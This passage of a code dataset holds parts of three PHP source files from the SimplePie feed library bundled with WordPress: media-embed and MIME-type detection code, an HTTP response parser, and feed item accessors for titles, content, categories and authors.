src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>"; } } // QuickTime 7 file types. Need to test with QuickTime 6. // Only handle MP3's if the Flash Media Player is not present. elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) { $height += 16; if ($native) { if ($placeholder !== '') { $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>"; } else { $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>"; } } else { $embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>"; } } // Windows Media elseif ($handler === 'wmedia') { $height += 45; if ($native) { $embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>"; } } // Everything else else $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>'; return $embed; } /** * Get the real media type * * Often, feeds lie to us, necessitating a bit of deeper inspection. This * converts types to their canonical representations based on the file * extension * * @see get_type() * @param bool $find_handler Internal use only, use {@see get_handler()} instead * @return string MIME type */ public function get_real_type($find_handler = false) { // Mime-types by handler. $types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash $types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player $types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime $types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media $types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3 if ($this->get_type() !== null) { $type = strtolower($this->type); } else { $type = null; } // If we encounter an unsupported mime-type, check the file extension and guess intelligently. if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) { switch (strtolower($this->get_extension())) { // Audio mime-types case 'aac': case 'adts': $type = 'audio/acc'; break; case 'aif': case 'aifc': case 'aiff': case 'cdda': $type = 'audio/aiff'; break; case 'bwf': $type = 'audio/wav'; break; case 'kar': case 'mid': case 'midi': case 'smf': $type = 'audio/midi'; break; case 'm4a': $type = 'audio/x-m4a'; break; case 'mp3': case 'swa': $type = 'audio/mp3'; break; case 'wav': $type = 'audio/wav'; break; case 'wax': $type = 'audio/x-ms-wax'; break; case 'wma': $type = 'audio/x-ms-wma'; break; // Video mime-types case '3gp': case '3gpp': $type = 'video/3gpp'; break; case '3g2': case '3gp2': $type = 'video/3gpp2'; break; case 'asf': $type = 'video/x-ms-asf'; break; case 'flv': $type = 'video/x-flv'; break; case 'm1a': case 'm1s': case 'm1v': case 'm15': case 'm75': case 'mp2': case 'mpa': case 'mpeg': case 'mpg': case 'mpm': case 'mpv': $type = 'video/mpeg'; break; case 'm4v': $type = 'video/x-m4v'; break; case 'mov': case 'qt': $type = 'video/quicktime'; break; case 'mp4': case 'mpg4': $type = 'video/mp4'; break; case 'sdv': $type = 'video/sd-video'; break; case 'wm': $type = 'video/x-ms-wm'; break; case 'wmv': $type = 'video/x-ms-wmv'; break; case 'wvx': $type = 'video/x-ms-wvx'; break; // Flash mime-types case 'spl': $type = 'application/futuresplash'; break; case 'swf': $type = 'application/x-shockwave-flash'; break; } } if ($find_handler) { if (in_array($type, $types_flash)) { return 'flash'; } elseif (in_array($type, $types_fmedia)) { return 'fmedia'; } elseif (in_array($type, $types_quicktime)) { return 'quicktime'; } elseif (in_array($type, $types_wmedia)) { return 'wmedia'; } elseif (in_array($type, $types_mp3)) { return 'mp3'; } else { return null; } } else { return $type; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Enclosure.php
PHP
asf20
27,487
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * HTTP Response Parser * * @package SimplePie * @subpackage HTTP */ class SimplePie_HTTP_Parser { /** * HTTP Version * * @var float */ public $http_version = 0.0; /** * Status code * * @var int */ public $status_code = 0; /** * Reason phrase * * @var string */ public $reason = ''; /** * Key/value pairs of the headers * * @var array */ public $headers = array(); /** * Body of the response * * @var string */ public $body = ''; /** * Current state of the state machine * * @var string */ protected $state = 'http_version'; /** * Input data * * @var string */ protected $data = ''; /** * Input data length (to avoid calling strlen() everytime this is needed) * * @var int */ protected $data_length = 0; /** * Current position of the pointer * * @var int */ protected $position = 0; /** * Name of the hedaer currently being parsed * * @var string */ protected $name = ''; /** * Value of the hedaer currently being parsed * * @var string */ protected $value = ''; /** * Create an instance of the class with the input data * * @param string $data Input data */ public function __construct($data) { $this->data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== 'emit' && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === 'emit' || $this->state === 'body') { return true; } else { $this->http_version = ''; $this->status_code = ''; $this->reason = ''; $this->headers = array(); $this->body = ''; return false; } } /** * Check whether there is data beyond the pointer * * @return bool true if there is further data, false if not */ protected function has_data() { return (bool) ($this->position < $this->data_length); } /** * See if the next character is LWS * * @return bool true if the next character is LWS, false if not */ protected function is_linear_whitespace() { return (bool) ($this->data[$this->position] === "\x09" || $this->data[$this->position] === "\x20" || ($this->data[$this->position] === "\x0A" && isset($this->data[$this->position + 1]) && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20"))); } /** * Parse the HTTP version */ protected function http_version() { if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') { $len = strspn($this->data, '0123456789.', 5); $this->http_version = substr($this->data, 5, $len); $this->position += 5 + $len; if (substr_count($this->http_version, '.') <= 1) { $this->http_version = (float) $this->http_version; $this->position += strspn($this->data, "\x09\x20", $this->position); $this->state = 'status'; } else { $this->state = false; } } else { $this->state = false; } } /** * Parse the status code */ protected function status() { if ($len = strspn($this->data, '0123456789', $this->position)) { $this->status_code = (int) substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'reason'; } else { $this->state = false; } } /** * Parse the reason phrase */ protected function reason() { $len = strcspn($this->data, "\x0A", $this->position); $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20"); $this->position += $len + 1; $this->state = 'new_line'; } /** * Deal with a new line, shifting data around as needed */ protected function new_line() { $this->value = trim($this->value, "\x0D\x20"); if ($this->name !== '' && $this->value !== '') { $this->name = strtolower($this->name); // We should only use the last Content-Type header. c.f. issue #1 if (isset($this->headers[$this->name]) && $this->name !== 'content-type') { $this->headers[$this->name] .= ', ' . $this->value; } else { $this->headers[$this->name] = $this->value; } } $this->name = ''; $this->value = ''; if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") { $this->position += 2; $this->state = 'body'; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; $this->state = 'body'; } else { $this->state = 'name'; } } /** * Parse a header name */ protected function name() { $len = strcspn($this->data, "\x0A:", $this->position); if (isset($this->data[$this->position + $len])) { if ($this->data[$this->position + $len] === "\x0A") { $this->position += $len; $this->state = 'new_line'; } else { $this->name = substr($this->data, $this->position, $len); $this->position += $len + 1; $this->state = 'value'; } } else { $this->state = false; } } /** * Parse LWS, replacing consecutive LWS characters with a single space */ protected function linear_whitespace() { do { if (substr($this->data, $this->position, 2) === "\x0D\x0A") { $this->position += 2; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; } $this->position += strspn($this->data, "\x09\x20", $this->position); } while ($this->has_data() && $this->is_linear_whitespace()); $this->value .= "\x20"; } /** * See what state to move to while within non-quoted header values */ protected function value() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': // Workaround for ETags: we have to include the quotes as // part of the tag. if (strtolower($this->name) === 'etag') { $this->value .= '"'; $this->position++; $this->state = 'value_char'; break; } $this->position++; $this->state = 'quote'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; default: $this->state = 'value_char'; break; } } } /** * Parse a header value while outside quotes */ protected function value_char() { $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * See what state to move to while within quoted header values */ protected function quote() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': $this->position++; $this->state = 'value'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; case '\\': $this->position++; $this->state = 'quote_escaped'; break; default: $this->state = 'quote_char'; break; } } } /** * Parse a header value while within quotes */ protected function quote_char() { $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * Parse an escaped character within quotes */ protected function quote_escaped() { $this->value .= $this->data[$this->position]; $this->position++; $this->state = 'quote'; } /** * Parse the body */ protected function body() { $this->body = substr($this->data, $this->position); if (!empty($this->headers['transfer-encoding'])) { unset($this->headers['transfer-encoding']); $this->state = 'chunked'; } else { $this->state = 'emit'; } } /** * Parsed a "Transfer-Encoding: chunked" body */ protected function chunked() { if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) { $this->state = 'emit'; return; } $decoded = ''; $encoded = $this->body; while (true) { $is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches ); if (!$is_chunked) { // Looks like it's not chunked after all $this->state = 'emit'; return; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers $this->state = 'emit'; $this->body = $decoded; return; } $chunk_length = strlen($matches[0]); $decoded .= $part = substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { $this->state = 'emit'; $this->body = $decoded; return; } } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/HTTP/Parser.php
PHP
asf20
10,882
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages all item-related data * * Used by {@see SimplePie::get_item()} and {@see SimplePie::get_items()} * * This class can be overloaded with {@see SimplePie::set_item_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Item { /** * Parent feed * * @access private * @var SimplePie */ var $feed; /** * Raw data * * @access private * @var array */ var $data = array(); /** * Registry object * * @see set_registry * @var SimplePie_Registry */ protected $registry; /** * Create a new item object * * This is usually used by {@see SimplePie::get_items} and * {@see SimplePie::get_item}. Avoid creating this manually. * * @param SimplePie $feed Parent feed * @param array $data Raw data */ public function __construct($feed, $data) { $this->feed = $feed; $this->data = $data; } /** * Set the registry handler * * This is usually used by {@see SimplePie_Registry::create} * * @since 1.3 * @param SimplePie_Registry $registry */ public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } /** * Get a string representation of the item * * @return string */ public function __toString() { return md5(serialize($this->data)); } /** * Remove items that link back to this before destroying this object */ public function __destruct() { if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode')) { unset($this->feed); } } /** * Get data for an item-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the item/entry tag. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_item_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } else { return null; } } /** * Get the base URL value from the parent feed * * Uses `<xml:base>` * * @param array $element * @return string */ public function get_base($element = array()) { return $this->feed->get_base($element); } /** * Sanitize feed data * * @access private * @see SimplePie::sanitize() * @param string $data Data to sanitize * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants * @param string $base Base URL to resolve URLs against * @return string Sanitized data */ public function sanitize($data, $type, $base = '') { return $this->feed->sanitize($data, $type, $base); } /** * Get the parent feed * * Note: this may not work as you think for multifeeds! * * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed * @since 1.0 * @return SimplePie */ public function get_feed() { return $this->feed; } /** * Get the unique identifier for the item * * This is usually used when writing code to check for new items in a feed. * * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute * for RDF. If none of these are supplied (or `$hash` is true), creates an * MD5 hash based on the permalink and title. If either of those are not * supplied, creates a hash based on the full feed data. * * @since Beta 2 * @param boolean $hash Should we force using a hash instead of the supplied ID? * @return string */ public function get_id($hash = false) { if (!$hash) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'])) { return $this->sanitize($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (($return = $this->get_permalink()) !== null) { return $return; } elseif (($return = $this->get_title()) !== null) { return $return; } } if ($this->get_permalink() !== null || $this->get_title() !== null) { return md5($this->get_permalink() . $this->get_title()); } else { return md5(serialize($this->data)); } } /** * Get the title of the item * * Uses `<atom:title>`, `<title>` or `<dc:title>` * * @since Beta 2 (previously called `get_item_title` since 0.8) * @return string|null */ public function get_title() { if (!isset($this->data['title'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $this->data['title'] = null; } } return $this->data['title']; } /** * Get the content for the item * * Prefers summaries over full content , but will return full content if a * summary does not exist. * * To prefer full content instead, use {@see get_content} * * Uses `<atom:summary>`, `<description>`, `<dc:description>` or * `<itunes:subtitle>` * * @since 0.8 * @param boolean $description_only Should we avoid falling back to the content? * @return string|null */ public function get_description($description_only = false) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML); } elseif (!$description_only) { return $this->get_content(true); } else { return null; } } /** * Get the content for the item * * Prefers full content over summaries, but will return a summary if full * content does not exist. * * To prefer summaries instead, use {@see get_description} * * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module) * * @since 1.0 * @param boolean $content_only Should we avoid falling back to the description? * @return string|null */ public function get_content($content_only = false) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif (!$content_only) { return $this->get_description(true); } else { return null; } } /** * Get a category for the item * * @since Beta 3 (previously called `get_categories()` since Beta 2) * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } else { return null; } } /** * Get all categories for the item * * Uses `<atom:category>`, `<category>` or `<dc:subject>` * * @since Beta 3 * @return array|null List of {@see SimplePie_Category} objects */ public function get_categories() { $categories = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($categories)) { return array_unique($categories); } else { return null; } } /** * Get an author for the item * * @since Beta 2 * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } else { return null; } } /** * Get a contributor for the item * * @since 1.1 * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } else { return null; } } /** * Get all contributors for the item * * Uses `<atom:contributor>` * * @since 1.1 * @return array|null List of {@see SimplePie_Author} objects */ public function get_contributors() { $contributors = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } else { return null; } } /** * Get all authors for the item * * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>` * * @since Beta 2 * @return array|null List of {@see SimplePie_Author} objects */ public function get_authors() { $authors = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) 